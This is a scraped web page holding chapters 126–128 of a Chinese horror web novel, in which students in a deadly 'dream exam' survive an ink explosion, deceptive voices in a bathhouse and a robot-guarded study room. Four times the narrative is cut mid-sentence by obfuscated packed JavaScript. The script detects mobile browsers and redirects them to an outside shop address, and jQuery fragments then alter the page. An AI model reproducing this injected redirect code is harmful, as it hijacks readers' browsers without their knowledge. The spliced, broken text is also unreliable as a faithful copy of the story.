俞小澄顾不上监考官的关注,起身挨个收走了吴樊祐、陈奇、单浩言以及方英彦手上的试卷,然后一股脑全部塞进白羽楠手中。 “喂,大姐你干嘛抢试卷啊?别给我弄脏了!”方英彦惊讶地喊道。 陈奇冷笑道:“真不知道小俞妹子帮你这种蠢货干嘛。” “你又知道了?”方英彦耐着性子反问道。 陈奇指了指白羽楠拿出来的雨衣,说:“看见没,人家有道具!” 单浩言二话不说上前帮忙,拿过白羽楠手里的所有试卷规整好,再配合着白羽楠将试卷放进雨衣中包好,边整理便说道:“试卷最好平放别折叠,万一整洁的定义还包括没有折皱,那就遭了。” 白羽楠点头表示赞同,待一切处理好,索性将包好的试卷置于桌上,然后起身将座椅倒置压在试卷上,然后站在桌前用手扶着椅子脚。 单浩言冲白羽楠比了个赞,白羽楠回以自信的微笑。 俞小澄看着二人只觉欣慰,心道:大概只要大家全力合作,就算是寒梅梦境,也不是不可攻破。 大约是看到了雨伞与雨衣这样的骚操作,其他考生也得到启示,不约而同地开始效仿。 有人脱下衣服包裹试卷藏于桌下;也有人搭伙将两张桌子倒扣在一起,而试卷就夹在桌面之间;还有人用身体压住桌上的试卷…… 就在考生各显神通时,原本摆在考生桌上的墨水瓶忽然炸裂,浓黑的墨汁带着玻璃碎渣溅得哪儿哪儿都是,甚至有不少人因此被割伤了脸。 又是一阵惊恐的惨叫声,此起彼伏,乱作一团。 俞小澄等人也被崩了一脸墨汁,只有白羽楠幸免于难,因为将椅子反扣在桌上时,嫌墨水瓶碍事,便把墨水瓶放到了桌腿边,此刻脸没事,裙子和露出的半截小腿黑了一片。 睡觉的吴樊祐原本脸没事,但被玻璃碎裂的声音惊醒后,一头的墨水顺着额头向下淌,他很快也成了花脸。 “这特么也太狠了!”陈奇一抹脸,顿时从花脸成了黑脸。 “还好趁早护住了试卷……”单浩言指尖碰了碰被玻璃渣割破的脸颊,混着墨汁的血液沾在了指尖,他心有余悸地感叹。 俞小澄好奇地看向打雨伞的考生,只见他依然维持着原来的动作,透明雨伞上溅了几滴墨水,但似乎是伞外,而非伞内。 往下看去,原来他的那瓶墨水不知何时也被扔在了桌下,所以这阵爆炸只是给他裤腿染了个色,并没影响更多。 大概是所有人都有防备,突如其来的墨水攻击未能奏效,无人因此而出局,似乎所有人都守住了自己的试卷。 “学姐,要不我们也躲去澡堂吧?”吴樊祐不知何时起身站到了俞小澄桌旁,顶着一张被黑漆漆的墨水摧残过的脸,眼中满是不爽。 俞小澄强忍住笑,当然自己也没好到哪儿去,细想之下,如果几人轮有看守试卷,似乎也无不妥,便点头同意了。 与白羽楠简单交代两句后,俞小澄便招呼其他人暂且退场,向监考官请示后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156711|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们顺利离开了考场。 与他们一同离开的还有七八个无脸考生,他们似乎也与人组队,因此尚能安心远离考场。 大门外,依然是一成不变的走廊,格栅灯的冷光,墙上密密麻麻无脸的人像,尽头唯一的双开门,没有任何岔道。 推门而入,装修简单朴素的接待大厅映入眼帘,前台站着一个身穿制服的盘发女子,同样没有脸,一见有人进门便热情地招呼。 前台两边各有一扇门,被布帘挡住大半,帘子上分别写着“男浴”和“女浴”。 “我们是不是可以在这儿待到考试结束啊?”方英彦厌恶地擦拭着一身墨迹。 陈奇看不惯他矫情模样,冷言回击:“你要不试试在这儿待到梦境结束?!” “可以吗?”方英彦惊喜万分。 不知是他没听懂陈奇的反讽,还是故意装傻充愣,瞬间堵住了陈奇的话头。 单浩言一听也不乐意了,冷嘲热讽问道:“你就不怕被人拿捏?” 方英彦兵来将挡,看似轻松地回道:“我相信我的粉丝!” 这句话给了单浩言反击的机会,他立马仗义执言道:“嚯,你还记得白小姐是你粉丝啊?所以,你就忍心放粉丝独自在考场面对危险?” 顷刻间,方英彦面子上有些挂不住,似乎没想到对方会从这个角度回击,尴尬地笑了笑:“呵,怎么会,我正打算洗快些,尽早返回考场。” 俞小澄对这个自以为是的大明星从来没什么好感,听到有人出言教训他,反倒心情大好,不过她着急回去与白羽楠交换,也懒得继续听他们唠叨,于是拉上吴樊祐便往前台走。 前台的工作人员交给二人两个带着编号的手环,简单交代一番,让他们各自进入浴场,按照编号寻找储物柜,然后只需沿着路标前进,清洗干净后即可继续往前回到考场。 这是一条无需回头的路径,竟同样通往考场,俞小澄不禁觉得这梦境的地图构造过于虚幻了些。 并未多想,俞小澄与吴樊祐约好二十分钟后返回考场,便分道扬镳。 正当两人要离开时,前台工作人员突然神神秘秘地告诫道:“勿与人言。” 俞小澄想要问清话中含义,工作人员却什么也不肯透露了。 俞小澄感觉心里发毛,埋头走进了女浴室,一心只想着赶紧洗完离开,如果不与人说话是规矩,那她全程闭嘴就行。 根据手环上的编号找到储物柜,用手环打开柜子,里面放着一个藤编衣篓,衣篓中是换洗衣物与浴巾。 俞小澄提上衣篓,跟随路标继续往里走,穿过一扇门,四周的空气逐渐变得闷热潮湿,阵阵热气弥漫其间。 在这个宽敞的空间内,出现一排规则的隔间,半透明的浴帘让隔间内的景象半隐半现,此刻只有中间那个隔间内有人正在洗澡,灯光将里面人的影子投射到了浴帘上。 是倪诗语吗? 洗这么久,真是讲究…… 俞小澄没想太多,直接绕了过去,走到靠近出口的隔间,拉开浴帘,只见里面十分整洁,各类洗浴用品一应俱全。 在她进入隔间不久,外面传来一阵脚步声,似乎其他考生也陆续入场。 俞小澄赶紧清洗一身污垢,约莫过了两三分钟,倪诗语的声音忽然从隔间外传来:“姐姐,是你么?” 126. 梦境(五) 俞小澄动作一顿,转身看向了隔间外,只见半透明的浴帘上映着一个人影,看身形倒是看不出是谁。 她心中不免有些疑惑,为何倪诗语要主动向她搭话? 难道倪诗语没有听到前台工作人员的提示吗? 心中尚未有定论,只见浴帘上多出一个人影,正站在倪诗语的身后,一个陌生的声音响起:“里面是你的朋友吗?” 倪诗语:“算是吧,一个认识的姐姐。” 陌生人:“傻孩子,她不想搭理你,你没看出来吗?” 倪诗语:“怎么可能……” 陌生人:“别等了,跟我走吧,我带你去个好地方,从此再无需担惊受怕了。” 倪诗语:“好……” 只见那个陌生的影子向倪诗语伸出手,倪诗语顺从地牵上,接着两个身影向着远离隔间的方向走去。 俞小澄心觉不妙,慌忙将浴巾往身上一裹,着急忙慌地往外赶,边走边想出言警告倪诗语。 可是刚迈出两步,只觉双肩一沉,两双小手一左一右捂住了她的嘴,吓得她险些跌坐到地上。 脖子不由得一僵,余光瞥见两双小脚搭在她肩上不停摇晃,瞬间浑身血液凝固,一丝凉意从脚底一直蔓延到脊梁。 就在她思考着是否该逃跑时,突然一个念头窜进脑子里——这两双小脚看起来怎么有点眼熟? 壮起胆子一扭头,果然招财进宝一左一右正坐在自己肩上。 “你们俩是不是想吓死我,能不能先打招呼,别一来就挂我身上!”俞小澄嘴被捂住说不出话来,但不妨碍她通过大脑将骂人的话传达到。 进宝一脸委屈地缩回手,两只食指指尖轻轻碰撞,不好意思地说道:“进宝太着急了,没想吓姐姐。” “姐姐别生气,我们好不容易才回到你所在的空间,刚才看你要做傻事,情急之下才出此下策。”招财的手依然挡在俞小澄的嘴上,似乎很担心俞小澄会发出声音。 俞小澄解释道:“我看倪诗语好像有危险。” 招财一脸严肃地说道:“姐姐,外面没人,整个浴室里只有你!” 不知是被招财严肃的表情震慑住,还是被他这鬼故事一般的话吓到,俞小澄只觉心脏噗通噗通乱跳。 “你不是开玩笑吧……我刚才明明听见有脚步声进来,还看见中间的隔间里有人在洗澡……方才倪诗语的声音……” 俞小澄一脸难以置信的模样,她茫然又担忧地望向隔间外,此时浴帘上的人影还未消失,明明看着那两个影子一直在往前走,可影子的大小从未改变过。 一股毛骨悚然的感觉油然而生,俞小澄悄无声息地往后挪了挪脚步,只想尽量远离浴帘。 如果不是倪诗语,那外面那两个人又是谁? 似乎是读到了她的想法,招财用两只小手拍了拍俞小澄的脸,坚定地说道:“姐姐,外面没人,真的,你只要没有违规,没人伤得了你!” 俞小澄恍然大悟,恐怕又是恶灵的花招,而这个澡堂的规则其实她已经知道——勿与人言,就像前台工作人员告诉她的一样。 难道都是幻觉? 俞小澄看着那两个无比真实的人影,倪诗语的声音在脑海中记忆犹新,实在有些难以相信。 在招财再三劝告下,她终是放弃探求真相,而是将招财扫地出门,抓紧时间清洗一身的墨迹。 等到清洗完毕,俞小澄换上衣篓里的新衣服,这是一件学生制服,大小竟刚好合身。 将自己收拾完毕后,俞小澄再看浴帘,那两个人影不知何时已经消失,她鼓起勇气掀开浴帘走了出去。 果然,外面没有看到无脸考生的身影,整间浴室中,依然只有中间那个隔间正在使用中。 怎么会有人洗了这么久还没结束,如今想来确实诡异。 俞小澄不敢再多看,转身跟着招财进宝往澡堂出口走去。 待到推门而出,进入视野的又是一条长长的走廊,冷白的格栅灯,满墙的红色光荣榜和怪异的无脸相片。 走廊中没有人,不知是已经回到考场还是尚未离开澡堂。 “对了,之前让你去探路,有什么发现吗?梦境中有校长的存在吗?”俞小澄边走边问道。 招财进宝依言去探查整个梦境地图,然后发现整个梦境由许许多多个独立的空间构成,其他地方则是黑暗一片。 他们在黑暗中穿梭,路过一间又一间考场、食堂、宿舍、教室……直到终于在穿进澡堂时遇到了久违的俞小澄。 “这些空间平时并不相通,寻常NPC与玩家无法在不同房间之间来回移动。”招财耐心解释,“直到触发某些条件,两个房间之间会出现这样的走廊。” “校长也真的存在。”进宝插嘴道,“但是招财看了,校长就是个NPC,并非道具。” 进宝的回答让本就没抱什么希望的俞小澄彻底将这条路舍了,思路的确不错,不过似乎在这场梦境中并不适用。 “还是先找记忆之门吧……”俞小澄小声嘀咕,“考生和校长这种看得见摸得着的还能理解,挨个试试总能试出,可秩序、荣誉、工资福利、学校、升职加薪这些又对应着什么呢?” 俞小澄回想着从监考官嘴里探听到的重要事物,实在想不出钥匙到底会藏在哪儿。 甚至还有人说出女儿和自己,前者都不知道存不存在于梦中,后者属实太离谱。 思索间,俞小澄重新回到了考场,可里面的景象让她大惊失色。 考场内似乎又经历了一场大战,地面被水浸湿,水滩被血染成深红,地上没有尸体,但又少了四张桌椅,显然又有人被那莫名出现的柱子砸成了肉泥。 俞小澄的视线落在白羽楠身上,她依然坚持扶着桌椅,整个人犹如落汤鸡一般。 此刻只有章锐已经回到考场,正挡在白羽楠桌子前,似乎在同白羽楠说着什么。 俞小澄疾步上前,询问白羽楠出了什么事。 果然恶灵没有就此松懈,在一行人离开考场后,天花板突然出现无数消防喷头,对考场进行了一次全方位的清洗。 “我这儿有雨衣保护还好,有四个用衣服包裹试卷的人遭了殃。”白羽楠无力地说道。 俞小澄将白羽楠拉到一旁,自己则站在了她的位子上。她让白羽楠去洗个热水澡,并提醒她注意澡堂也有禁忌。 一番嘱咐后,俞小澄目送着白羽楠离开了教室,随即又向章锐问道:“倪诗语呢?她没有跟你一起回来?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166122|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “别提了!”章锐一脸不高兴,“我在出口等了她半天,不知道这丫头做事为啥这么没有时间观念。” 俞小澄隐隐觉得有些不对劲,要不是招财十分肯定中间隔间里没有人,俞小澄真的怀疑那就是倪诗语。 在考场内又等了十来分钟,离开考场考生陆续回来,只是人数明显与离开时对不上。 吴樊祐不慌不忙回到考场,看到俞小澄似乎有一丝惊讶,只是一瞬,又露出了常见的笑脸。 “学姐没在浴室遇到怪事?”他语气轻松地问道。 俞小澄不答反问:“你呢?” “没有啊,只是淋浴完出来发现还有汗蒸房,来都来了,所以进去躺了一会儿,一不小心躺过了头。” 从吴樊祐脸上,俞小澄没看出半点反思之意。 “你什么都没遇到?那你怎么知道我遇到怪事了?”俞小澄面露质疑。 “学姐好像在审犯人。”吴樊祐一副受伤的模样。 俞小澄习惯性地退缩道:“抱歉,老毛病犯了……” “呵呵,听那工作人员说的话,多少有点奇怪的感觉,所以就这么猜了。”吴樊祐平静地回应。 其他人的遭遇似乎与俞小澄差不多,总有相识之人在洗澡的时候前来搭话,但绝大多数人对此有所警惕,却依然有两三个人再未现身,其中就包括倪诗语。 当第二场考试结束时,考生已经只剩64人,在这场考试中,足足有二十人彻底失去了考试资格。 这些存活下来的考生拖着疲倦的步伐,穿过看着已经产生厌倦情绪的走廊,又一次进入了食堂。 这一次,等到窗口再度开启,竟没有一人站起身,要么观察着他人,要么索性放弃。 其中以陈奇为主的玩家群体,此刻就神情倦怠地趴在桌上,似乎对食物无法产生兴趣。 “一顿不吃也不会死……”陈奇重重叹了一口气,似乎这一天让他累得彻底没了脾气。 “同意,谁爱吃谁吃去!”章锐满腹牢骚地附议。 “我也pass。”单浩言同样发泄着厌倦情绪。 方英彦倒显得与众不同了些,看见大半的人拒绝用餐,他眉头微微皱起:“啊?你们真的什么都不吃吗?” “要吃你自己去吃!”陈奇没好气地骂了一句。 “呵呵,我也不是那么想吃,如果谁想吃,我倒是可以作陪。”方英彦说着冠冕堂皇的话,说罢又望向白羽楠。 俞小澄从他眼中看出点狡诈的味道,像极了想找人替他试毒的卑劣行为。 白羽楠不想驳了方英彦的颜面,正想迁就地起身做个勇士,俞小澄一把拉住了她的手腕。 “你忘了跟我说过晚上要绝食减肥吗?”俞小澄信口开河道。 “啊?” 白羽楠难以置信地低头看了看自己的身材。 吴樊祐忍俊不禁道:“学姐,减肥可不能靠绝食,多少吃点吧,让我看看今晚有啥好菜。” 见吴樊祐自作主张地想要替自己安排,俞小澄一时间哭笑不得,不知这人怎么今天突然变傻了,余光瞥了瞥墙上的宣传海报。 俞小澄顿时露出一脸坏笑:“你说的在理,我也想奉陪,可情况好像不允许。” 127. 梦境(五) 食堂的墙上贴着各式各样红色的宣传海报,看上去和之前没什么区别,可如果细看,可发现上面的宣传文字有所改变。 中午的宣传标语是“浪费可耻”,而现在变成了“缺一不可”。 见吴樊祐似乎不知所以,俞小澄便清了清嗓,故作担忧地指了指四周海报:“有没有一种可能,这次只要吃饭,就得把所有菜品吃个遍呢?” 方才还信誓旦旦可以充当饭搭子的方英彦闻言,当即调转口风:“啊,刚才你们的话提醒我了,经纪人不让我吃晚饭,得注意身材管理,啊不好意思,不能陪你们吃了。” 其实俞小澄并不敢肯定规则暗示是否应该如此理解,只是不想冒险试错,保险起见,饿一顿也没什么。 “不吃就不吃吧。”吴樊祐一副知难而退的模样,可眼神中比旁人多了一抹失望之色,思考片刻又露出满怀期待的笑,“夜晚还长,希望今晚睡得着。” “不会晚上都不消停吧……”白羽楠愁绪萦怀,忍不住低声念叨。 “有什么好奇怪的,箭竹不都出现过不带安全房的梦境吗?” 吴樊祐的话让人心头一颤,俞小澄想起了时间循环的游乐园,如果又是同样的情况,那就不好办了。 俞小澄甚至在心里感叹:如果进宝能把所有NPC都吃掉就好了,也就不必费事分辨谁是恶灵了。 她的想法很快引起招财的不满,只见这家伙小腿临空一蹬,气呼呼地嚷道:“姐姐,你是想撑死进宝吗?” 俞小澄尴尬地笑了笑,急忙认错道:“呵呵,我就随便说说,别当真,我当然要尽力找恶灵呀!怎么会有投机取巧的想法呢?没有,绝对没有!” 进宝则露出一脸茫然的表情,歪着脑袋,天真地眨着眼,疑声问道:“姐姐为什么要进宝吃人?” “呵呵,没、没有,姐姐只是开个玩笑。”俞小澄赶紧澄清道。 这顿晚餐可谓是小心谨慎的极致,几乎所有人都不敢轻举妄动,直到一个无脸考生从人群中走出,带着些不顾生死的勇气走到了套餐窗口。 全场的目光被这位考生吸引,默默注视着他的一举一动,点餐、回到座位、细嚼慢咽…… 大概因为没有合作伙伴,考试期间没有前往澡堂,裤腿上还残留着被墨水攻击的痕迹,明明有些狼狈,可他安之若素的态度,竟生出些优雅的气质。 一直到他吃光一份套餐,然后悠然地起身离开食堂,终于有人按捺不住,冲到窗口,点了与他相同的套餐。 “喏,标准答案已经有人解出了,抄不抄随你们。”吴樊祐低声提醒,可他自己似乎并没有照抄的打算,就像是谜底揭露后,失去了探索的乐趣。 原本因谨慎而打算放弃这一餐的人蠢蠢欲动,各自寻找起体面的借口,起身往套餐窗口而去。 俞小澄是真没什么胃口,伏在桌上权当休息。 时间推移,平安完结一餐的考生再次在走廊中齐聚,穿过一扇新的大门,众人进入一间阶梯教室,样子和刚进入梦境时相似,只是前台站着的不是监考官,而是一个人形机器人。 每一个位子上摆放着一本书,类型各异,有的高深,有的浅显,毫无章法可言。 当有人走进教室,讲台上的人形机器人眼里泛起红光,没有语调起伏的声音传来:“欢迎来到自习室,请各位考生入座,20点准时进入自习时刻,自习结束前,请严格遵守自习室纪律!” “自习室又有啥纪律?”章锐不客气地问。 “为了以良好的状态应对明日考试,请各位考生认真看书复习!” 机器人的话止于此句,而后再无言语,视线随着头部摆动而在众人身上扫过,看得人心里发毛。 教室内没有时钟,也没有倒计时,俞小澄有些在意这里要如何控制时长,难道全屏机器人内置时间设定,而考生只能等机器人宣布自习结束? 俞小澄一时想不明白,看了看手表,距离晚上8点没剩几分钟了,第一场考试发生的意外还历历在目,她赶紧招呼大伙坐下。 俞小澄带着白羽楠和吴樊祐寻了后排角落里的位置,这是她常年养成的习惯,惯性思维作用下,总优先选择不那么惹人注意的选项。 她面前摆着一本儿童绘本,翻了两页,整个人都惊呆了。 机器人不是说看书复习吗? 给儿童绘本是几个意思? 这是要她复习啥呀?! 扭头向身边两人桌面看去,只见白羽楠拿到的是一本推理小说,而吴樊祐手里是一本养猪指南。 白羽楠看了眼俞小澄和吴樊祐二人手里的书,捂着嘴,别过脸,肩膀抖动。 除了荒唐二字,俞小澄实在想不出其他词来形容这场所谓的自习,显然在座考生都没拿到什么像样的书,教室内疑声四起。 机器人对于教室内的窃窃私语似乎根本不在意,只是站在讲台上,安静而匀速地转动着金属脖子,泛着红光的眼睛平扫过整间教室。 不一会儿,两道发散的红色光束从机器人双眼射出,如同一种警告色,将视线笼罩下的考生照得通红,随后从一个人身上褪去,又缓缓攀上下一个。 考生们莫名其妙地望着陡然出现的光束,下一秒,方才被红光笼罩的两人便瞬间化成了灰烬,落在座椅上,成了他们存在过的唯一证明。 场面一时间乱作一团,尖叫声四起,有人惊慌起身往教室外跑,可还未跑到门边,就被光束笼罩,最后留下一地灰烬。 其余人见状不妙,纷纷往桌下躲藏,有桌子挡板做掩护,光束只是在教室中乱扫,却没再消灭掉任何一个考生。 “这个自习室是陷阱房吧!”白羽楠蜷缩在桌子下,低声暗骂道。 “禁忌是不能被机器人眼睛里射出的红光照到吗?”俞小澄同样蜷缩着身子,双手抱住膝盖,缩紧脖子,一脸不解状。 吴樊祐比她俩难受不少,桌下的空间对他来说实在有些局促狭小,背靠着挡板,歪着脖子,双手撑住身体,腿则无奈地伸到了座椅下。 “如果这是规则,那得这样躲到何时……” “躲到自习时间结束?”俞小澄大胆猜测。 吴樊祐问:“如果自习结束那机器人也不走呢?” “不会吧……不是说好自习时间一小时么?”白羽楠小心翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179429|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翼地探头观察着讲台上的机器人。 还好那机器人没有离开讲台的迹象,只是呆滞地转动脖子,让红色的光束在教室中来回扫射,犹如搜寻犯人的探照灯。 “等等看吧,现在至少是安全的。”俞小澄将下巴抵在膝盖上,闭目养神,一副既来之则安之的样子。 兴许是这一日太费脑筋,俞小澄的大脑自动选择了偷懒,旁人看上去便觉得她在此情景下显得甚是淡定。 平日淡定惯了的某人反倒有些不服气,故意倾斜着身子,将头靠在俞小澄肩上,努力调整出一个更为舒适的姿势,嘴里嘀咕不停。 “学姐是不是故意的?” “什么故意?”俞小澄肩上一沉,靠在她肩上的脑袋令她不由得身子僵硬,内心挣扎着,不知是不是该推开吴樊祐。 吴樊祐故作委屈:“你别偏偏选这个时候放弃思考啊,要我保持这个姿势一小时吗?太狠心了吧。” “你干嘛不自己想?”白羽楠低声回怼。 吴樊祐道:“按照我的想法,我们就一起冲出教室……” 白羽楠回了个白眼:“你还是别想了……” “其实也不是没有线索,但是需要冒险尝试,我觉得没有必要罢了,不如趁此机会休息一会儿。”俞小澄苦笑道。 吴樊祐自告奋勇,说可以一试。 俞小澄与他想法不同,担心如果自己想错了,会闹出人命,不欲提及,可终究拗不过吴樊祐,无奈竖起食指,指了指桌上,道:“章锐问过纪律,机器人回的是看书复习。” “关键是桌上的书本?”吴樊祐仰头反问。 “也许。”俞小澄并不敢肯定。 吴樊祐弯着手腕从桌面将那本养猪指南拿了下来,俞小澄不愿他去冒险,伸手制止。谁知吴樊祐狡黠一笑,冲隔壁桌陈奇的方向吹了吹口哨。 陈奇从桌边露出半只眼睛,询问着吴樊祐有何用意。 吴樊祐抖动着书,一本正经胡说八道:“奇哥,用书挡着脸就能离开自习室,走不走?” “真的假的?你不会是耍我吧?”陈奇脸上写着绝不能上当几个字,开口就是质疑。 吴樊祐高声呼道:“你爱信不信吧,可用名额有限,我们先走了,你慢慢考虑。” 说着一副欲起身的模样,俞小澄却发现他只是在演戏,根本没有打算自己冒险,而是故意在钓鱼,并且很快便有鱼上钩了。 章锐翻开书,挡住脸,一副急不可耐的样子站了起来,两束红光立刻向他扫射而来,红光渲染下,章锐的步伐有些凌乱,可踉跄走了两步便走出了信心。 因为机器人的视线只在他身上停留了五六秒,接着就重回横扫路线。 章锐兴奋地挪动脚步,一心想着往门口走,每当红光扫过他时,他总会心头一紧停下脚步,待到红光移开,他才壮起胆子继续前进。 就这样走走停停两分钟,他才总算到了门边,手握把手胜利在望,可下一秒便从欣喜变为咆哮。 “谁特么说可以离开的?!是不是有病!” 章锐几度尝试,确信大门上了锁,嘴里忍不住骂骂咧咧一顿宣泄。 128. 梦境(五) 被吴樊祐骗到的人原本蠢蠢欲动,结果发现第一个冲到大门口的人根本拿上锁的房门没有一点办法,于是又纷纷藏回了桌下。 提前退场是不可能了,但章锐的平安无事证明了用书挡脸行之有效,吴樊祐索性从桌子底下爬出来,将书翻开,连同脑袋一起搁在了桌面上。 维持着这种类似于上课摸鱼睡觉的姿势,吴樊祐总算从别扭的姿势中解放。 俞小澄与白羽楠也学着他的样子趴到桌上,一时无法离开,似乎除了闭目养神也没别的事可做。 章锐几番尝试无果,灰溜溜地回到了座位上,一边用书挡着脸,一边气愤骂道:“怎么说?拿我当炮灰?要再信你们一句,我不姓章我!” 吴樊祐只是斜眼瞥了章锐一眼,故意使坏道:“傻子,你就说用书挡脸是不是有效吧?能不能稍微动动脑,门肯定是被那机器人锁了,你去跟他说你书看完了,让他开门不就好了?” “这种话听起来也太假了吧……”章锐嘴上说着质疑的话,可身子就跟不听使唤一样站了起来,将信将疑中迈步去了讲台。 章锐全程用书挡住脸,视线只能看到脚下,一直走到视线中出现讲台边,他才停下脚步。 手中的书被红光描了边,这让章锐愈发紧张起来,频频回首张望,嘴唇一张一合似乎是在骂人。 大概是骑虎难下,他壮着胆子开了口:“书看完了,给爷爷开门。” 教室内一片静默,几乎所有人都等待着一个答案,即便有可能只是排除一个错误选项。 俞小澄对于吴樊祐的故意捉弄没当回事,终归章锐用书挡着脸,估计没太大影响,顶多被机器人无视。 然而结果并不如她所想,机器人回应了章锐趾高气昂的命令,却不是开门,而是问了一个问题。 “好的,为了验证考生是否认真看完参考书,请将参考书放在桌上,并回答我一个问题。”机器人不带一点感情地念着自己的台词。 章锐的动作停滞,一脸焦虑地扭头看向吴樊祐,手上的书一时不知该不该放下。 “什么情况,怎么还要回答问题?” 章锐正在犹豫时,自习室内忽然生变,又有一人瞬间化成一团灰,吓得坐在那人附近的惨叫一声,引得众人转移了视线。 “怎么回事?”俞小澄方才聚焦于讲台,浑然不知发生了何事。 消息似乎在室内走了一圈,总算传到了俞小澄这边。 原来方才有人盯着讲台前的事态发展盯得太入迷,脑袋不自觉地移出了书遮挡的范围,而这一幕恰好撞上了红光,人瞬间就没了。 被这一幕吓得双脚发抖,章锐哪里还敢放下手中书本,苦闷地叫嚷着:“妈呀,这特么不会是钓鱼执法吧,我现在怎么办?” 章锐一副病急乱投医的惊慌模样,不知道在问谁,也不知道在期待谁来解答。 回应他的只有机器人的毫无怜悯的声音:“拒绝回答将视为欺骗行为,十秒后将对该考生实施惩罚!” “十!” “九!” “八!” …… “你特么先把书放下!” 单浩言一声吼,将慌了神的章锐喝住,章锐管不了三七二十一,顺从地将手里的书扔到了讲台上。 一束红光自上而下扫过他全身,章锐双眼紧闭等待着厄运降临,然而什么事也没有发生。 “还真不是骗人的……不会当真只要答对问题,便可离开自习室吧?”白羽楠长舒一口气,小声对俞小澄说道。 “机器人应该不会骗人,至少从进门起,他说的都是实话,那回答问题离开大概率也是真的。” 俞小澄若有所思,偷偷瞄了一眼整个事件的始作俑者,他正好奇地关注着讲台上事态的发展,一脸期待的样子不似演戏。 莫非吴樊祐的无心之举成功摸到了开启大门的钥匙? 这人的运气恐怖如斯? 俞小澄一边暗自感慨着吴樊祐的欧气,一边又担忧起问题的难度。 下一秒,机器人的声音再度在房中响起:“请回答,这本书的最后一页有什么内容,只要说对一点,都算你已经看完,但只要有一点对不上,便算你欺骗。” 话音刚落,讲台上那本书便被机器人藏到了身后,然后红光审视着章锐,压迫感拉满。 这一次,章锐彻底慌了,脖子僵硬地直视着机器人,双腿抖得跟筛糠似的,尖着嗓子喊道:“老言,我完了,这让我怎么答?我根本没看啊……我还不想死啊……” 哗哗哗…… 安静的自习室内响起一阵翻书声,不是为了助人为乐,他们只是在准备自己答题时的答案。 “你特么拿的什么书啊!”单浩言没好气地骂道。 “我、我特么根本没注意啊……”章锐叫苦不迭,说话的声音带上了哭腔。 “你……”单浩言气得捶桌,就是想帮忙也无从下手。 俞小澄觉得,章锐大概是没救了,所有人的书都不一样,最后一页的印刷内容也不尽相同,在不知他那本书类型的前提下,想要猜中实属不易。 “你的答案是什么?”机器人催促。 声音在喉咙里打转,章锐脑袋一片空白,他甚至放弃了思考答案,眼珠子打转,考虑着如何能逃。 眼见又有一位住客要宣告出局,俞小澄只觉心脏猛跳,忽然一个念头闪过,她想也没想,脱口而出:“定价!” “啊?定价?”章锐茫然地重复着她的话。 “嗯……让我看看。”机器人像是得到了答案,拿起书翻了起来,不过他不是翻的内页,而是直接将书翻转到了封底,仔细扫了一遍,而后展开一只手做出一个“请”的姿势,“答对了,你可以离开自习室了。” 章锐整个人都傻眼了,半晌没回过神来,缓了好半天,才虚脱一般摸了摸额头冷汗,朝着俞小澄的方向拱了拱手,慌慌张张往门口走去。 这一次,当他手指搭上门把手,只是轻轻一转,门便开了,他急急忙忙逃了出去。 随后,咔嚓一声,房门再次落锁。 这一下,留在室内的考生瞬间有了信心,其中一名考生紧跟着冲到了讲台,抢下了下一个答题机会。 “小澄姐,真亏你想到了封底,我以为机器人说的是内页的最后一页呢!”白羽楠又开启了彩虹屁。 其实俞小澄只是偶然意识到,严格意义上来讲,封底才是最后一页,一般人习惯用最后一页代表内容页的完结,而不会把封底叫最后一页。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191434|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是讲台上的是机器人,他的定义更为机械,因此俞小澄才想到用封底一定会有的定价作为答案。 这一局算是她赌赢了。 “小澄妹子,可以啊,要不我们也赶紧去答题离开这倒霉自习室?”陈奇一脸兴奋地提议道。 “别……” 俞小澄刚想阻拦,话音未落,吴樊祐便插嘴怂恿道:“我觉得行,你们先上,让我学姐给你们把把关。” 吴樊祐的话听上去怪怪的,按照她的理解,吴樊祐显然与她的想法一样,机器人的问题不可能只有一个。 这种时候越是冒进越是危险,答错题的代价太高,若没有百分之百的信心,俞小澄不建议去争这一个小时。 